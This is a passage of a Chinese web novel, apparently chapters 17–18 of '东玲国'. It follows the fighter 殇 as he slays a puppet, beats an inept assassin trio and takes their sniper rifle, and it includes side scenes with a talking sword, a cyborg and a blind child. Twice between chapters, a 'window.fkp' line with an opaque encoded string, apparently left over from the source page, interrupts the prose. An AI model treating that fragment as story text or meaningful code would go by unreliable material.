殇似一颗出膛的子弹一样迅速,疾驰时带起了一阵狂风。殇一拳打在蔑顼身上,将蔑顼打退了七八米,他自己也后退了几米。殇没等后退多少,就又一个健步冲上前去,又是一记重拳打出。就这样,殇连续击打了蔑顼有二十多拳,直接将他打进了墙壁之中。即使到了墙壁里面,殇也没有停下攻击。蔑顼在殇的攻击下嵌得越来越深,最后当蔑顼被打得几乎要失去知觉的时候,殇不再重复这样的攻击,而是冲到蔑顼的面前抽出了插在他胸膛里的生或死。殇将核心能量汇聚在刀锋之上,接着一个健步来到蔑顼身前。对着他,殇连续三刀挥出。收刀时刻,斩杀已然完成。 处理完它,殇疾驰到了路灯杆下,抬头仰望被钉在路灯杆上的椿木雄一郎。面对接下来的命运,雄一郎没有感到畏惧,反而笑了几声。他对殇笑着说道: “起码现在......你还是仰望我的。” 殇苦笑了一下,说道: “你可真是乐观啊。说的也对,起码现在我还是仰望你的.......” 话音刚落,七道白光闪过,椿木雄一郎连同那根路灯杆一起被切成了碎片。殇收起刀,头也不回地就向另一边走去。但就在这时,卡娜铃兰突然从背后抱住了他。殇本能反应,使出了隼式防身术,直接将卡娜铃兰摔在地上。殇正要抽刀处决她,突然,卡娜铃兰跪坐在地上,低着头像是在祈祷。接着,一行白色的字出现殇的眼前。 “杀了我......杀了我......释放我的灵魂......毁灭我的牢狱。” 殇有些茫然,没有立刻抽刀杀死她。 “我要去寻找我的爱人......请你杀了我,帮我完成这个愿望。” 殇慢慢放下了握着刀柄的手,静静地看着她。 “求求你......帮帮我......求求你......帮帮我。我不想再做傀儡了,我想要自由......” 殇叹了口气,摇了摇头。因为他曾了解过傀儡术的一些奥秘,所以他此刻很能理解这个傀儡的心语。 “不......别这样。求求你......求求你.......帮帮我。” 殇闭上眼睛,拔出了腰间的刀。处决她前,殇问了她一个问题。 “你叫什么名字?” 那个傀儡似乎能听到殇说的这句话。 “我叫卡娜铃兰......” 殇竖起大拇指,对她夸赞道: “好名字......不过可惜了。” 手起刀落,三刀挥出,这个傀儡被斩成碎块。此刻,冥河使者出现在了殇的身旁。它手中提着的灯在呼唤封藏在傀儡内的灵魂。殇叹了口气,头也不回地离开了这里。在回去的路上,他思考着那个名叫卡娜铃兰的傀儡。他曾经听过这个名字,好像是在刚来到东城的时候。那个花盆的主人,他们所居住的公寓曾经的主人...... 殇在郊区其中一条大街上行走。这时,在高楼之上的一个隐僻且阴暗的小房间里,一个狙击手正架枪瞄准了殇。那名狙击手的身旁,有着一个专门保护她的战士。同时在大街上,也有一个准备来执行暗杀计划的杀手。很显然,他们这次的暗杀目标是殇。 ???: “呼......呼......好紧张!这次一定能成功!相信希望!一定能成!受死吧......殇。” 随即,她扣下了扳机....... ...... 宙级洪流: “我的王啊,你还记得那个穷人地区的女战士吗?我在一段时间之前看到了她,虽然是‘残缺版’,但是看到她之后,我还是不禁思考起你来。这个她与这次时间循环的她是一种存在,但不是一个人。你让她变得这样,变得成熟稳重还有一丝霸气,但耻辱的烙印永远地烙在了她的身上,若不是知情者,她已然是别人眼中的女强人。你杀了她有五十七次!我希望你不会与这个她相见,同时也希望你不要再‘失手’杀掉真正的她了。——希望还是绝望,将会是您来塑造。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十七话:非专业暗杀队 一发子弹出膛,精确无误地打在了殇一旁的路灯杆上。叮的一声,给殇吓了一跳,吓得他虎躯一震。 殇: “(惊讶)卧槽!” 见到这发酝酿了许久的一枪打空,楼上的狙击手撅起了嘴,接着她再次瞄准,连开五枪。嗖嗖几声,几颗子弹精确无误地打在了殇的周围。这几下吓到了殇,但也让殇立马警惕起来。在环视了一圈之后,殇通过敏锐的眼光找到了那个隐藏着狙击手的房间。他很不满地对着那个房间的狙击手竖起了中指,同时说道: “你这混蛋给我等着!敢偷袭我,有你好果子吃的!” 见到殇对自己竖起了中指,她的怒气一下子就升上来了。她对着殇也竖起了中指,两人相互鄙视。就在这时,隐藏在大街上的杀手悄悄地绕到了殇的身后,然后掏出匕首和手枪。 ...... 他用手枪对着殇的后背来了一枪,殇应声跪倒在地上,陷入了深深的疑惑值周。他抓住这个时机,拿起匕首对着殇的后颈一划。接着对殇的后背连插三刀,刀刀致命。最后再给殇的后脑勺来一枪,完美暗杀掉殇。接下来,他以最帅气的姿势跑进巷子里,与自己的伙伴汇合。 他的幻想很美妙不是吗?然而事实是...... 他正要开枪,殊不知自己操之过急,不小心往前迈了一步。就是这一步,在他的头顶写上了一个大大的危字。殇瞬间意识到自己身后有人,他瞬间一个转身加冲刺来到了他的面前,一把夺过他手中的枪。他此刻都蒙了,压根没想到殇能知道他的偷袭。殇一脸不屑地看了看他,发现他是个皮肤还算稚嫩的年轻人。殇大致猜到了对方的身份,所以他收起那一脸不屑的表情,冲着他笑了笑。如此尴尬的情况,他也只得跟殇一起笑,尴尬地笑。殇笑着后退了一步,然后慢慢抬起了枪。他笑着看到这番情景之后,笑容稍稍收敛了一些,他开始紧张。但一想到手中还有匕首,他突然又有了底气。抓准殇眨眼的时机,他猛地将匕首刺向了殇。没想到殇预判了他的动作,一把抓住他的手腕,然后把匕首也夺了过来。殇一手拿个匕首,一手拿个枪,有节奏的轻摇肩膀,一脸和善的笑容。他脸上的笑容慢慢消失,取而代之的一脸的紧张与严肃,他慢慢举起双手投降。他的额头流下了几滴汗水,他心中的紧张可想而知。周围的人看到这种景象,没有一点慌张,因为早已习惯有这种事情出现。不过今天这会,他们是忍不住去看,而且不仅是看,还笑。他的脸因为羞涩与尴尬红了起来。在楼顶的两人见了,不禁疑惑起来。当然不仅是疑惑那么简单,她们也忍不住笑。 他紧张了一会,然后用敬重的语气对殇说道: “大哥,你放过我行不?要钱我没有,你杀了我也只是浪费时间与功夫。小的没有自知之明,敢请您放我一马,行吗?” 殇大笑一声,问他: “你说呢?” 他从脸上挤出笑容,笑着回答道: “我觉得你大人有大量,一定能放过我。” 他的语气之中带有十足的敬意,态度是十分地虔诚。殇笑了笑,很坦然地告诉他: “你觉得行,那就行。不过吗......我得弄明白一件事。” “什么事?大哥你说。我能说的我肯定告诉你,我不能说的我肯定不告诉你。” “嗯?!” “不不不,我不能说的我也告诉你。” “这就对了。——我现在只想弄明白一件事......那就是你到底有没有同伙?” “没有,我自己一个来的。” 殇此时心里萌生了一个主意。 “哦。那个叫孙武的是跟你一起执行暗杀的吗?” “不是。我们事务所没有叫孙武的。” “哦。那谁跟你一起啊?” “我亲爱的凯莉社长和韩小姐。她们两个啊......一个长得小巧玲珑,一个长得......” 他的脑子突然转过轴来,他突然意识到了什么,便不再继续阐述。他瞪大了眼睛,正在思考刚刚自己是怎么被套出话来的。殇见到他茫然的表情笑了笑,然后对他说: “跟我去巷子里走一趟。” 他没有拒绝,跟着殇进了一条阴暗的巷子里。 楼上的两人见到自己的同伴跟着殇进了巷子,心里先是一惊。两人相互对视,讨论接下来的行动方案。 韩: “社长!我们得去救欧文!那个家伙一定会折磨死欧文的。” 凯莉: “那还等什么?赶紧走啊!欧文要是死了,我们事务所就只剩下我们两个人了!” 凯莉和韩拿着装备,快步跑出房间。穿过走廊,坐上电梯,向着楼下前进。坐电梯的时候,两人很是着急,两人不时踱步几下。她们很怕欧文死在了殇手上,各种不好的结果在她们的脑中闪过。 此时,欧文靠在墙边,双手抱膀,一脸忧心忡忡地看着殇。殇在一旁淡定地转着他的那把手枪,不时看他几眼,防止他逃跑。等待的过程有些无聊,所以殇跟他聊起了天。 “你叫什么名字?” “啊?你说我吗。” “对。” “我叫欧文·卢卡斯。” “你是哪里人?” “我啊,老家是青兰国的。” “啊?那你是逃难逃到这里来的吗?” “对。” “你家人呢?” “他们......都死了。” “令人惋惜......” “他们死于感染,都变成了那些天杀的怪物、僵尸。” “你今年多大了?” “我今年二十五了。大哥你呢?” “我今年大约三十多。——你挺年轻啊,这么小就来干黑活啊。” “生活所迫罢了。” 说到此处,他无奈地叹了口气。 “对了,看你的装备与服装,你是介入人(杀手的最低等级)是吗?” “对。我才一颗星,是最低的那个档次的。” “哦。怪不得你能这么轻松被我抓住。” “对了,大哥。你犯什么事了?杀手联盟把你大名挂上了悬赏榜,说要集结大量杀手来去处理你。我看大哥你不像是那种危险人物。” 殇想了想,想到了被自己打成残废的红色收尾人。他突然知道自己为什么榜上有名了。他心想: “那不成是那家伙玩不起?因为被我暴打了,就通缉我,想要集结力量报复我?倒真有那种可能......——看来以后得小心一点了。” 想过,殇继续与他聊天。 “你知道红色收尾人吗?” “知道!他的大名那个人不知道?他可是暗杀掉虎宗宗主的存在。老厉害了!” “我曾经不小心惹了他,后来就榜上有名了。” “哦。怪不得......可是那样的话!大哥你是怎么活下来的?!” “额......我给他反杀了。后来......” “大哥,你别逗我。” “我没跟你开玩笑。” “卧槽!那大哥你可太厉害了!你是那个隐退了的战神吗?” “不,我只是个正常人。若你偏要这么认为,那我勉强算是。” “大哥你神通广大,那今天这件事你别跟我们计较了行不?我们小本生意,赚钱不易。” “不。我必须要看到偷袭我的人。” “那行吧......下手轻点,我亲爱的社长不禁打。” “好的,我保证不打死你的社长。” “还有......大哥,您能给我一个联系方式吗?” “啊?你想干什么?” “我看你人这么好,以后想请你帮帮忙。” “帮忙?帮完你得请我吃饭。” “请,肯定是请!那就这么说定了?” “说定了。不过我只能尽力而为,别给我找什么苦差事。” “知道了。告诉我您的号码吧。” “行,听好了,我的号码是......” 八分钟后...... 殇正闲的没事向上扔枪玩,突然,一发子弹擦着他的肩膀飞过去。殇转头看过去,看到两个女子站在巷子中,正面色凝重地看着他。 这两个女子一个有着沙色短发,另一个有着垂到后背的黑色长发。有着沙色短发的女子身形较矮,目测大约一米六三。她身穿一身新潮的轻装,手拿一把轻型狙击步枪;一副专业狙击手的样子。她的皮肤是黄中偏白,有着一对炯炯有神的双眼;眼色黑瞳,看着似潭渊一般深邃。她的胸前挂着一个名片,名片写着她的名字:凯莉。 有着黑色长发的女子身形较高,目测大约一米七。身穿一身黑色猎人服,左手拿伊一个带刃单拐,右手拿一把手枪;一副高级刺客的样子。她的皮肤是白色,有着一对弯弯上挑的眉毛和同样有神的双眼;眼色紫瞳,像是一朵盛开的紫罗兰。她的胸前也挂着一个名片,名片上写着她的名字:韩。 两人的脸上挂着一抹自信的微笑,似乎并没有对面前的殇产生恐惧。殇见她们来了,立马将手中的枪随手一扔,正巧扔到了欧文的手中。欧文拿到枪后,直接收起枪,靠在墙边看着他们。凯莉抬起手中的狙击枪,枪口对准了殇。凯莉的脸色瞬变,立马表现出了认真与严肃。她对殇说: “休想伤害我的社员。我告诉你,殇。今天你肯定得死!” 一旁的韩附和道: “没错!你活不过今天的!准备受死吧!” 欧文面无表情地看着她们两个,他已经猜到了接下来会发生的事。欧文一个健步绕过殇,来到了她们的身旁与她们一起并肩战斗。殇见此,耸了耸肩,十分淡定地说道: “一起上吧。” 凯莉十分自信地说道: “少看不起人了!社员们,上!” 话音刚落,凯莉快速瞄准,对着殇开了一枪。这一枪打歪了,殇甚至没有动一下去躲。韩一个冲刺来到殇的面前,对着殇连续两刀挥出,殇侧闪加后撤步躲开。见没砍中殇,她抬起手,用手枪对着殇连开三枪,殇向左横移三步全部躲开。韩快速斜向后撤,为同伴提供射击空间。这时,凯莉和欧文很默契地一起抬枪瞄准,欧文先连开五枪,接着凯莉又补了一枪。殇向右冲刺躲开这五枪,然后一跃而起抓住墙体同时躲开凯莉这一枪。他侧身爬墙,在墙上快速移动。凯莉和欧文见此瞬间改变位置,接着快速瞄准射击。几枪开出,几颗致命的子弹袭向了殇。殇用力蹬了下墙,一跃来到另一面墙上,接着一个前空翻落地。这一系列动作让他躲过了全部的子弹。见到殇这么敏捷,凯莉、欧文、韩三人心里不禁捏了把汗。 凯莉心里: “(惊叹)好帅!好快!这人不是一般的等闲之辈。” 欧文心里: “看来他并没有吹牛。这身手,还真有能击败红色收尾人的可能。” 韩心里: “酷酷的,一看就是身手不凡的大侠......我喜欢!” 殇落地后,韩抓住殇没站稳的这段简短的时间来到殇的面前,接着就准备近距离刀杀掉他。但没等她出手,殇一个侧身蛇形步来到她的身后,轻轻地对着她后背拍了一巴掌。这一巴掌对于殇来说算轻,但对于她来说宛如重拳击打。她踉跄了一下,差点摔倒过去。见此,殇向上伸直了他的腿,然后对着她的后背一脚踢出。 “啊!” 她惨叫一声,然后趴在了地上。这时,几颗子弹袭来,殇向右侧闪躲避。见到韩被殇打倒,凯莉很生气,她握紧拳头,脸气得发红。她对着殇连开三枪,但被殇轻松躲开。她生气极了,气得直跺脚。她掏出口袋里藏着的左轮手枪,对着殇连开六枪。殇转过身去,以月球漫步的方式左右横移,躲开了这些子弹。欧文见此,帮起她来,也连开了六枪,打光了弹匣内的子弹。殇一个滑铲躲过全部子弹,然后瞬间一个蹬地前冲来到欧文面前,竖起了中指。欧文刚要抽匕首来近战,突然,他意识到自己的匕首还在殇手里,这下是真的尴尬了。殇举起竖中指的那只手,然后向下一劈,正好劈在了欧文的额头殇。欧文吃痛,本能地后退了一步。殇张开五指,一把按在他的脸上,然后用力一推,直接当场推倒在地。为了防止欧文短时间内起身,殇对着他的腹部来了一掌,打得他捂着肚子蜷缩在地上。 “啊!操......” 他在地上痛苦地说道。凯莉见此,一个枪托横扫招呼了过去。殇没来得及躲避,用胳膊接下了这一击。他后退了两步,甩了甩被枪托打中的胳膊。从他的表情可以看出,这一下很疼。凯莉见此,立马收起左轮手枪,然后转过枪头,准备对殇近距离射击。殇瞬间不甩手了。凯莉停顿一下一枪开出,他迅速反应,赶在她扣动扳机前一个侧闪躲开。殇一个健步来到凯莉面前,一把推开她手中的枪,然后一掌拍在她的脸上。同样的招式再用一次,她也如欧文一样被推倒在地。殇举起手,正准备给她也来一巴掌,但凯莉身手敏捷,在地上滚一圈躲开殇的这一掌,然后猛地起身从殇的身旁跑过。她顺手拔出了殇放在腰间的匕首,然后对着殇的腰上部位狠狠地刺了一刀。殇叫了一声,本能转身加一掌挥出。凯莉见了,一个后撤步加后空翻躲开。殇见面前的凯莉能如此敏捷,不禁在心里对她表示了赞赏。 殇心里: “这小姑娘虽很瘦小,但竟然能如此敏捷。真是低估她了。” 疼痛从背后传来,他本能地去捂那个部位。他只捂了一小会,然后就把手抽了回来,面前的战斗要紧。细想那个部位,是熟悉的感觉。他此时忍不住吐槽了一句: “又是这个位置......老子的肾啊!” 见到殇面露痛苦,凯莉很高兴,她的脸上洋溢起了得意洋洋的笑容。她笑着对殇说: “怎么样啊?!还小看我不。” 殇叹了口气,摇了摇头。说时迟那时快,殇一个快步冲刺瞬间来到了凯莉的面前。疾风被殇掀起,呼啸着吹起了她的短发。那速度凯莉前所未见,闻所未闻。殇在她的眼里快出了残影,那速度比她见过的最快收尾人的速度还快,快赶得上热带草原上疾驰的豹子了。凯莉本能地后退了一步,但此时后退已经没用了。殇一掌挥来,速度极快,但在接近她的脸部时瞬间减速,像是触摸一样按在了她的脸上。这时,她看着殇,殇也看着她。两人四目相对,殇在她的眼里变得高大了许多。殇侧过身,猛地一用力,凯莉整个人直接双脚离地转了起来,就像个陀螺一样。在空中转了有一两圈之后,她落地了,但她落地后还转了四五圈,之后才停了下来。她此时头晕目眩,胃里翻江倒海,恶心,想吐。殇在她的眼中扭曲了,周围的环境也跟着扭曲了。此刻她才终于理解到了什么叫天旋地转。殇抓住她的肩膀,让她恢复了重心。然后殇突然松开她的肩膀,接着竖起右手的手指,轻轻地抵在她的额头上。殇稍稍用力一推,凯莉就如一尊雕像一样倒下了。 倒地后,凯莉面无表情但心中极其惊讶地低声说道: “他好强啊......我好菜啊......” 殇似乎听到了她的话,他很坦然地耸了耸肩,然后意味深长地告诉她: “菜就多练练。” 凯莉呆呆地回应道: “哦......” 殇走到那把狙击步枪前,拿起来仔细看了看。上面印有白胜之夜协会和温切斯公司的标志,看上去来源不凡。殇背起这把狙击步枪,作为自己的战利品。殇走到欧文面前,付下身来对欧文说: “告诉你们社长,想要拿回枪,亲自去东城之眼来找我。给我个合适的交换物,我就把枪还给你们。交换物最好不是钱。” 说完,殇就准备离开。欧文见此,赶忙劝殇: “大哥!你可千万别把枪带走啊。要带走也别破坏它!这枪要是出了什么三长两短,我们三个人头可就落地了啊!” 殇冷笑了一声,告诉欧文: “既然你们要去做这行,那你们就得做好这个准备。” 说完,殇就向着巷子外走去。此时韩爬了起来,她抬起枪,忍着疼对殇开了一枪。她颤抖着的手让她并没有打中殇。 “你不能走!把枪留下。” 殇没有理会她,继续向巷口走去。她用颤抖着的手连开四五枪,打光了弹匣里的子弹。这五枪都打偏了。 “啊啊啊!回来!把枪留下啊!” 她想上前去追杀殇,但她现在的状态不允许她这么做,所谓是心有余力而力不足。就在殇走到巷口的时候,凯莉颤颤巍巍地站了起来。她看着殇离去时的背影,尤其是看到她的那把狙击步枪被殇背着,她心中甚是不甘;但更多的,是恐惧。丢了这枪,就意味着丢了命。这枪的价值在底层区域之中,比人命还要贵重。凯莉忍住恶心、头晕,尽最大的力气对着殇喊道: “不要带走它!求你了,别那么做!那是我们事务所的命,那也是我们三个的命!上头要查,我们是会死的!” 殇回头看了看她。她此时连站都站不稳,却还硬挺着向他这里走来。她的表情与眼神告诉了殇她的决心,殇有一刻想要放下这把狙击步枪离开,但他心中的小心思让他没那么做。他留下了一句话,然后就回过头去快步离开了这里。 “明天去东城之眼找我。我约你谈谈一些东西,之后就还你。” 看着殇离去的背影,凯莉是既不甘又悲愤,欧文和韩也一样。不过凯莉比她们要多背负一份耻辱。作为社长,她却让自己和社员如此狼狈,丢尽了颜面。她捂着脸低下了头,靠着墙思考明天的对策。她没有哭泣,只是单纯的伤心。她的眼角泛起泪花,但她坚强的意志没让泪水留下。尽管她有机会大哭一场,但她不愿意,她不想像个懦夫一样自甘懦弱。她想强大,她想得到别人的认可。她的泪,早就流干了。韩扶着墙走到凯莉身旁,轻轻拍了拍她的肩膀,安慰她: “社长,别伤心。我们还有机会的......相信希望,他会说话算话的。不必太过伤心与自责,绝对的实力差距面前没有对错。” 欧文也走了过来,他也轻轻拍了拍凯莉的肩膀,安慰她: “社长,不要气馁。明天我们只要拿出筹码,他就会跟我们交换。而且最重要的是!他不要钱。” 她们两个的安慰起了些作用。凯莉放下手,抽泣了一声,然后抹了抹眼角未流出的泪。她抬头看着天,双手握拳给自己打气,给她的两个社员打气。似乎这个天真的姑娘眼里,总能有希望存在。她拉住她两个社员的手,然后一脸坚定地看着他们。她对欧文和韩说道: “欧文,韩。相信希望!我们凯莉事务所无论遇到多大的风雨,都能化解的!相信希望!我们一定能够化解这次的危机的。那把至关重要的枪,我们一定可以拿回来的。” 韩和欧文: “(自信)嗯。我们可以做到的。” 凯莉: “(信心满满)我们会向这个世界证明自己的!我们不是窝囊废,我们也是能发光发热的!” ...... 小咒刀此时正在靠着墙熟睡,突然几声异响从门外传来,它猛地惊醒过来。小咒刀的刀锋泛起了红光,那是警戒的颜色。 “怎么回事?难道是家里进了贼?” 小咒刀熟练地打开门,然后飞到了客厅之中。刚到客厅,它就看到了一个只有三四岁的孩子在沙发上蹦来蹦去,沙发旁站着一个褐衣男子。这个褐衣男子身着一件有些破损褐色游骑兵大衣,下身套着一条黑色西服裤子,头戴一顶沙色牛仔帽,牛仔帽之下有着深灰色头发。他的左臂是一条造型炫酷、体积较大的机械臂,机械臂之上有着暗灰色的光泽;机械臂的手部较大,五指是锐利的爪刃。他一副来者不善的样子,他的全身都散发着能贯穿皮肤的寒气。作为一把打不烂的神剑,它丝毫没有恐惧。 “喂!你们是什么人?怎么可以擅闯民宅?信不信我噶了你们两个?” 听到小咒刀的话,那个男人和那个孩子立马看了过来。在看到面前这把会说话的飞剑后,那个孩子傻傻地笑了,稍许艰难地从沙发上趴下,伸着双手走向了小咒刀。那个孩子张着嘴,很惊奇地叫道: “叔叔,快看!是会飞的剑诶!帅帅的。” 那个孩子的双眼水汪汪的,但色瞳却是灰色,似乎是笼罩上了一层冰冷的阴霾。看着这个孩子的眼睛,小咒刀看到了一滩清澈的池水。那池水中有着鱼虾欢游,池水上飘着芙蓉与莲叶,本是一片生机盎然,但天却有阴云笼罩。池水之下似乎有光,不过那光十分暗淡,若不仔细看,就能忽略它的存在。这池水的景象,生机勃勃之中透露着苍凉。 那个男人似乎对这种离奇的事情已经见惯,他没有表现出惊讶的神情。也就是在这时,小咒刀看清了他的脸。 他的脸大约只有三分之一还有皮肤覆盖,他的右眼、嘴巴、鼻子、右耳、以及大半边的脸都变成了机械造物。他的一呼一吸变成了他鼻上呼吸灯的渐变闪烁,配合着他嘴部的特殊集气装置的集气与放气,所谓之机械呼吸;他的右眼发着血色的光芒,隐含着杀气与敌意。 那个男人看着小咒刀,有些疑惑地问道: “你的下一步计划是什么?是驱逐我们,还是放任我们在这里驻留片刻?” 他发出了略带有磁性的机械电子音。小咒刀听到他这么说,云里雾里的,没听明白他想表达的意思。小咒刀思考了一下,问道: “喂!你在说什么混话?为什么我听不明白你的意思。” “哦?是我阐述的不够明白吗?那好吧,通俗点说,你让不让我们留在这里待一会。” “待一会?你这可是私闯民宅!是很恶劣的行为。” “嗯?看来时过境迁,这里有了新的主人。——我们走吧,秋儿。” 听到他这么说,小咒刀赶忙叫住了他。 “诶!别走啊!来都来了,你起码得告诉我你们为什么要来这里吧。不能随风来随风去吧。” “如果我告诉你,你可以让我和秋儿待上个十五分钟吗?” 小咒刀思考了一下,心想: “我想他们两个也应该不会干什么坏事。要干的话我也能制止,再过分点我可以杀了他。留下他们一会应该没什么问题。” 小咒刀自信地转了一圈,很爽快地答应道: “行!” 见到小咒刀同意,他走到沙发旁,坐下与小咒刀诉说此行的目的。与此同时,秋儿悄悄地绕过小咒刀,在各个房间里玩。小咒刀靠在沙发上,看着他。他深吸了一口气,开始开口诉说。 “我此行只是陪秋儿的。他说他想妈妈了,我没办法实现他的愿望。只能带着他回到这里,他妈妈曾经生活的地方。” “所以你们就来了这里?” “没错。” “他妈妈呢?弃他而去了吗?” “从某种意义上算是。不过不是主观选择。” “我应该知道了......” 他突然起身,迈步走向了伊所住的房间。小咒刀见此,也跟了上去。到了房间内,小咒刀发现秋儿也在。秋儿将脸贴在衣柜门上,一脸舒服与开心。他让秋儿起开,秋儿摇头。他叹了口气,很温柔地用他右臂抱起秋儿,将他放在了床上。他轻轻地抚摸了秋儿的头,很温柔地说道: “秋儿,等叔叔一下。我现在就让你见妈妈。” 他走到衣柜前,打开了衣柜门。然后他伸手去摸衣柜内壁。摸了几下,摸到了一个暗槽。他花了十几秒打开了衣柜暗槽,取出了一个纸袋。他轻轻打开纸袋,看了看里面,发现里面是种子。他关上纸袋的口,然后将这个纸袋拿到了秋儿面前。秋儿伸出双手去抓这个纸袋,抓住后,他看着这个纸袋发呆。过一会,秋儿似乎闻到了什么特殊的味道,他突然紧紧地抱着这个纸袋,迟迟不松开手。 见此,小咒刀好奇地问他: “那里面是什么?” 他神情有些悲伤地回答它: “那是一包种子,花种子。” “有什么特别的吗?” “那是她妈妈留在这个世界上最后的东西。” “哦......” “秋儿是个可怜的孩子,生下来就是孤独的。想妈妈了,也只能抱着这袋种子。那上还残留着他妈妈的气息呢。” “这样啊......你们多留一会也行......” “秋儿是我在路过医院的时候捡到的孩子。那时正值城市最混乱的时候,他躺在那损坏的维生仓里面。那时候就他一个孩子还活着,其他的早就咽气了。我于心不忍,就把他带了回来。——这孩子从小就双目失明,也许是那时冻坏的。他能活着,本身就是个奇迹了。” 此刻,小咒刀感受到了面前这个机械硬汉温柔的那一面。他并不是看上去那般冷酷无情,他的心里也有温柔。他走到秋儿身旁,用他那只温暖的大手轻轻抚摸秋儿的脸,从心里为这个苦命的孩子感到惋惜。秋儿一直抱着那个还残留着他母亲气息的纸袋,低着头不说话。 之后,他转身向着客厅走去,给秋儿一份寂静,让秋儿能多感受一分他母亲的气息与未曾到来过的爱。到了客厅,他告诉小咒刀: “我的名字叫磁暴重兵,是这城市之中的一任传奇。你可以叫我摩多,那是我的俗名。” “哦,知道了。” 这时,小咒刀想到了一个问题。它好奇地问重兵: “你是怎么知道他母亲曾经住在这里的?” 重兵干脆利落地回答它: “因为他妈妈是我的堂妹,而且我与他爸爸有过一面之缘。” “哦。原来如此啊。” “这次回来,是最后一次。我要带着他去更好的地方生活,为了实现他妈妈的愿望。” “再也不回来了吗?” “对,再也不回来了。地平区的生活环境更适合他的成长。我不希望他生长在淤泥之中,那样我没有脸面去面对他的妈妈。” 准时准点,十五分钟过后,重兵带着秋儿离开了。走的时候,秋儿拿走了那包种子。走的时候,秋儿一直看着这间屋子,他很不想离开。看着秋儿依依不舍的眼神,小咒刀感觉十分揪心,尽管他的情感系统并不丰富。重兵抱着秋儿,头也不回地走了。大门关上,两人的身影消失。小咒刀叹息了几声,就转身要回去继续睡觉。这时,透过大门它听到了秋儿的哭声,它猛地转身要去开门,却突然意识到他们不会再回来了。楼道里传来了重兵安慰秋儿的声音,那声音听着如机器一般,但其中却蕴含着一个猛汉心里最深沉的温情。小咒刀回到了原来睡觉的位置,慢慢地闭上了眼睛。它等了很长时间才睡着,它一直再想秋儿和重兵的事...... ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十八话:昔日的传奇 下午时分,小明正在狂想乐团俱乐部里面练习吉他。他弹得很不错,但比他对自己的预期还有些许不足。正当他沉醉在演奏之中的时候,突然俱乐部的大门被人推开了。小明转头看去,发现是殇回来了。他停止演奏,放下吉他,迎了上去。 肖小明: “(笑)诶!殇,你可算回来了。怎么样?这单轻松吗?” 殇: “(摇摇头)轻松个鬼嘞!路上遇到了几个找茬的,还有个给老子肾捅了一刀。” 肖小明: “(惊讶加担心)诶呀!那有啥大事吗?用不用去医院?” 殇: “(自信地笑)没事!那点伤不算什么,过一会自己就好了。” 肖小明: “(安心)没事就好。干这行,总得祈祷着自己的生。危险什么的,肯定是有。” 殇: “(好奇)话说,这单的雇主赵女士在哪里呢?我把她要的货给带回来了,正等着交货呢。” 肖小明: “(思考片刻)她啊......你得跟我去深入一下俱乐部,你才能看到她。” 说完,小明领着殇向着俱乐部内部走去。这时,殇才有机会好好地去看这个俱乐部的内饰。先是过一扇门,走进一条宽阔的走廊。走廊的墙上挂着许多张照片,这些照片都是曾入驻这里演唱的乐队开演唱会时拍摄的照片;每张照片底下都有着日期与人名,以此作为他们曾经存在过的痕迹。这些照片大多是一群男人在舞台上演绎,唯独有一张不是。 那张照片深深地吸引了殇的注意力,他的目光汇聚在了那张照片上。那张照片上是一个身穿染血的深蓝色西服的黑发男人。那个男人坐在舞台中央的一个木椅上,孤独地弹奏着手中印有三颗银色星形印记的红色吉他;舞台的灯光聚焦在他一人的身上,似寒光,又似月光。他低着头,脸上是一副白色的面具,看不到他此时的神情。似乎是他刻意挡上了自己的脸,以此来逃避一些东西。他背后只有无尽的黑暗,根本看不出一点热闹。突然,阵阵寒气从照片之中渗出,后集合成风,吹向了殇。接触寒风的瞬间,殇的心灵感受到了那个男人身上所散发出的悲惨,那种悲惨难以用语言清楚描述出来;就像一个一直在倒霉的人一样的悲惨,只能如此形容。殇能感受到,也能品味的到。殇曾经也度过过那种时光,不过比起他来,殇觉得他比过去的自己还要悲惨,他反而还有些幸运。殇心想: “他的心里,想必此时已经万念俱灰,完全失去了希望与生活的意义。” 看到殇看着那张照片走了神,小明立刻停下脚步,用手拍了下殇的肩膀。殇立马回过神来。小明笑了笑,对殇说道: “殇,你看那个照片看走神了!” 殇挠了挠头,有一丝尴尬地说道: “啊?是这样吗?好吧......我得集中注意。” 小明并未在乎这些,他指向那张照片,告诉殇: “即使今天不说,你终有一天也会知道的。——那个男人,是这座城市的传奇,最新一任的传奇。人称,都市的野狼。” 一听小明这么说,殇一下子来了兴趣。殇问小明: “哦?说来听听。” “他啊,是我们亲爱的齐百陵大哥。这张照片,是我最后一次见到他时给他拍摄的。那时候已经是大半夜了,他突然把俱乐部的门踹开,跑进俱乐部里把我从睡梦中拽了起来。当时可吓死我了!我以为他接到什么委托要杀我呢!没想到他只说让我给他拍张照片,听听他弹奏一首小曲。我当时没多想,就答应了。想不到那次是最后一次见到他啊。” “后来他去哪里了?” “死了,完成了他伟大的复仇计划。跟着椿木太郎和他儿子一起消失在了原能细胞公司的总部。后来据说椿木太郎没死,捞了个残废。再后来,我就不知道了。” “哦!是条硬汉,但也是个混蛋。” “嗯?此话怎讲啊?” “根据我对这个国家的人的了解,如果有实力去挑战公司,那么他一定会犯下滔天大罪。屠戮之罪,将须有之。” “哎呀,你跟别人就是不一样。说话思维什么的比那些纯纯的工具人要强上太多了。” “不敢当,不敢当!我只是个普通人。” “嘿嘿,你可太谦虚了。哎,那我们说回齐百陵。——他曾经是我们这里的人,当时还是一流的吉他手呢。当时有幸去地平区开过一次演唱会,虽然看得人没有隔壁的‘霓虹之星’乐团多,但是也算是成功举办了一次。当时据说他挣了不少钱。说是羡慕啊,我这一个开俱乐部听百曲的人却弹得还没有他一半好。我清楚记得,他在离开乐团的时候,是跟着一个淡灰色头发的姑娘走的。后来听说她是他老婆,他是为了他老婆才放弃的这个爱好。” 